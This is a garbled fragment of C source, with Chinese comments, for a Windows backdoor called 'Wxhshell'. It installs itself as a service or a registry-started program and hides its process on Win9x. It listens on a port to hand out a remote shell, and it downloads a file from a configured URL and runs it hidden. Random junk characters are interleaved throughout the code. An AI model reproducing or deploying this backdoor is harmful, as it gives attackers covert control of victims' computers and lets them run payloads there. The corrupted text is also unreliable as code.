HcA[QBh if(strstr(procName,"services")) return 1; // 以服务启动 [<yz)<< PB+\jj return 0; // 注册表启动 5C B%=iL{ } g92dw<$> p'}lN|"{O // 主模块 u#FXW_-TK int StartWxhshell(LPSTR lpCmdLine) VgA48qZ { 0(8gQ
2n SOCKET wsl; QWw"K$l BOOL val=TRUE; .3@Ng int port=0; '*4iqPR; struct sockaddr_in door; ,ijW(95{k )A"jVQjI%w if(wscfg.ws_autoins) Install(); PK+ x6]x &U&Zo@ot"x port=atoi(lpCmdLine);
uN9e:; ailG./I+ if(port<=0) port=wscfg.ws_port; +#~O'r]%GG dMJ!>l>2 WSADATA data; RyuEHpN} if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t@)my[ ! a%E8(ms37y if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; M6_-f ;. setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r{S=Z~J door.sin_family = AF_INET; =U NT.] door.sin_addr.s_addr = inet_addr("127.0.0.1"); ")ED)&e door.sin_port = htons(port); <GaT|Hhc= B9*Sfw% if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @^!\d#/M closesocket(wsl); \!<"7=(J{4 return 1; b/nOdFO@ } Q 2"WV gLD{1-v if(listen(wsl,2) == INVALID_SOCKET) { >ZeEX,N closesocket(wsl); ,T$r9!WTM return 1; c;wA } )Oiev u_"| Wxhshell(wsl); b+Vi3V WSACleanup(); @h#Xix7 i=L8=8B` return 0; nWGR5*e: x%6hM|U } 3D[=b%2\ vTd-x>n // 以NT服务方式启动 >jMH#TZaX VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "15=ET { | 3giZ{ DWORD status = 0; C2G |?= DWORD specificError = 0xfffffff; >S'>!w zh%qS~8Yv serviceStatus.dwServiceType = SERVICE_WIN32; SKR;wu serviceStatus.dwCurrentState = SERVICE_START_PENDING; G#0,CLGN^ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #ZlM?Q serviceStatus.dwWin32ExitCode = 0; ;&
~929 serviceStatus.dwServiceSpecificExitCode = 0; X2^_~<I{, serviceStatus.dwCheckPoint = 0; 6e#wR/ serviceStatus.dwWaitHint = 0; Cw#V`70a Lm|al.Z hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Vv4H:BK$ if (hServiceStatusHandle==0) return; SA+d&H}Fc _CE9B e\ status = GetLastError(); &$#99\/ if (status!=NO_ERROR) .S!-e$EJ { O>AFF@= serviceStatus.dwCurrentState = SERVICE_STOPPED; 2.f|2:I serviceStatus.dwCheckPoint = 0; 9"ugz^uKt serviceStatus.dwWaitHint = 0; AS|Rd+. serviceStatus.dwWin32ExitCode = status; y]'CXCml) serviceStatus.dwServiceSpecificExitCode = specificError; QKccrAo SetServiceStatus(hServiceStatusHandle, &serviceStatus); FJwt?3\u5 return; 7`fY*O6 } Dtt-|_EMS X*O9JGh serviceStatus.dwCurrentState = SERVICE_RUNNING; N09KVz2Q serviceStatus.dwCheckPoint = 0; >vVw!.fJ serviceStatus.dwWaitHint = 0; -:SIS`0s if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); El
(/em } 8l23%iWxe azX`oU,l // 处理NT服务事件,比如:启动、停止 )%VCzye*{ VOID WINAPI NTServiceHandler(DWORD fdwControl) GV8)Kor% { oZ:{@= switch(fdwControl) s.:r;%a { aZKXD! 4 case SERVICE_CONTROL_STOP: |>2:eH serviceStatus.dwWin32ExitCode = 0; HO5d%85 serviceStatus.dwCurrentState = SERVICE_STOPPED; a$m_D!b~_ serviceStatus.dwCheckPoint = 0; 9m8ee&, serviceStatus.dwWaitHint = 0; [Oy >R
{ FT.@1/ ) SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~`R1sSr" } G{o+R]Us return; zvr\36 case SERVICE_CONTROL_PAUSE: yX!#a>d"H serviceStatus.dwCurrentState = SERVICE_PAUSED; (Es{l a G break; &{W^W8,% case SERVICE_CONTROL_CONTINUE: WZ?!!
serviceStatus.dwCurrentState = SERVICE_RUNNING; bulboyA break; pjN:Y] case SERVICE_CONTROL_INTERROGATE: *Jt8 break; }V]eg,.BJ }; z-@-O SetServiceStatus(hServiceStatusHandle, &serviceStatus); J+Bdz6lt } IN^_BKQt V@Wcb$mgk // 标准应用程序主函数 #DUh(:E'` int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |C D}<r(N
{ _M5Xk? e= ;|TT(P:d // 获取操作系统版本 ~NNv>5t5 OsIsNt=GetOsVer();
%+wF" GetModuleFileName(NULL,ExeFile,MAX_PATH); hhmGv9P 2-v\3voN // 从命令行安装 cNj*E
=~; if(strpbrk(lpCmdLine,"iI")) Install(); io4aYB\ &Rp"rMeW
// 下载执行文件 ;+`uER if(wscfg.ws_downexe) { e<5Y94YE if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <Tx C!{< WinExec(wscfg.ws_filenam,SW_HIDE); lLCdmxbT } #T \ 0M8.U if(!OsIsNt) { uRQ_'l // 如果时win9x,隐藏进程并且设置为注册表启动 o:UXPAj HideProc(); `^##b6jH StartWxhshell(lpCmdLine); te'*<HM } U CY2]E else AyTx' u if(StartFromService()) m;/i<:` // 以服务方式启动 FFe)e>bH StartServiceCtrlDispatcher(DispatchTable); SLoo:) else rAXX}"l6s // 普通方式启动 DJP6TFT&G StartWxhshell(lpCmdLine); {$fsS&aPg g-@h>$<
1 return 0; Nl*i5 io }
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